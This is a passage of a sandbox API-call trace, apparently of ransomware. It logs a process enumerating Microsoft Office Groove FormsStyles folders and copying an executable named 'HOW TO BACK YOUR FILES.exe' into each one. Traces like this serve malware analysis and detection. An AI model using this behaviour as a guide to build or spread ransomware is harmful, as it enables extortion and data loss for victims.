	[0071.014] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff68 | out: hHeap=0x580000) returned 1
	[0071.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis") returned 100
	[0071.014] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis"
	[0071.014] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.014] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.022] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.022] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x426766f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x426766f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.022] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.022] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.022] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime"
	[0071.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0d38 | out: hHeap=0x580000) returned 1
	[0071.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff48 | out: hHeap=0x580000) returned 1
	[0071.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime") returned 99
	[0071.022] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime"
	[0071.022] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.022] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.026] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.026] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x426766f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x426766f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.027] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.027] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.027] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck"
	[0071.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0c58 | out: hHeap=0x580000) returned 1
	[0071.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff28 | out: hHeap=0x580000) returned 1
	[0071.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck") returned 104
	[0071.027] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck"
	[0071.027] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.027] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.032] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.032] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4269c850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4269c850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.032] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.032] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.032] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert"
	[0071.032] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a5518 | out: hHeap=0x580000) returned 1
	[0071.032] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff08 | out: hHeap=0x580000) returned 1
	[0071.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert") returned 101
	[0071.032] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert"
	[0071.032] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.032] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.036] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.036] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4269c850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4269c850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.037] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.037] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.037] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow"
	[0071.037] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3800 | out: hHeap=0x580000) returned 1
	[0071.037] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fee8 | out: hHeap=0x580000) returned 1
	[0071.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow") returned 107
	[0071.037] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow"
	[0071.037] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.037] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.043] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.043] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4269c850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4269c850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.043] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.043] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.044] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange"
	[0071.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3720 | out: hHeap=0x580000) returned 1
	[0071.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fec8 | out: hHeap=0x580000) returned 1
	[0071.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange") returned 107
	[0071.044] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange"
	[0071.044] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.044] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.050] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.050] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x426c29b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x426c29b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.050] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.050] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.050] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay"
	[0071.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a5440 | out: hHeap=0x580000) returned 1
	[0071.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fea8 | out: hHeap=0x580000) returned 1
	[0071.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay") returned 101
	[0071.050] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay"
	[0071.050] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.050] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.054] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.054] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x426c29b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x426c29b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.054] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.055] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.055] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue"
	[0071.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a5368 | out: hHeap=0x580000) returned 1
	[0071.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe88 | out: hHeap=0x580000) returned 1
	[0071.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue") returned 103
	[0071.055] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue"
	[0071.055] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.055] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.059] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.059] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x426c29b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x426c29b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.059] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.059] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.060] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana"
	[0071.060] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0fd8 | out: hHeap=0x580000) returned 1
	[0071.060] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe68 | out: hHeap=0x580000) returned 1
	[0071.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana") returned 104
	[0071.060] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana"
	[0071.060] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.060] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.064] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.064] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x426e8b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x426e8b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.065] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.065] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.065] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms"
	[0071.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0f28 | out: hHeap=0x580000) returned 1
	[0071.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe48 | out: hHeap=0x580000) returned 1
	[0071.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms") returned 81
	[0071.065] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms"
	[0071.065] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.065] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.071] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
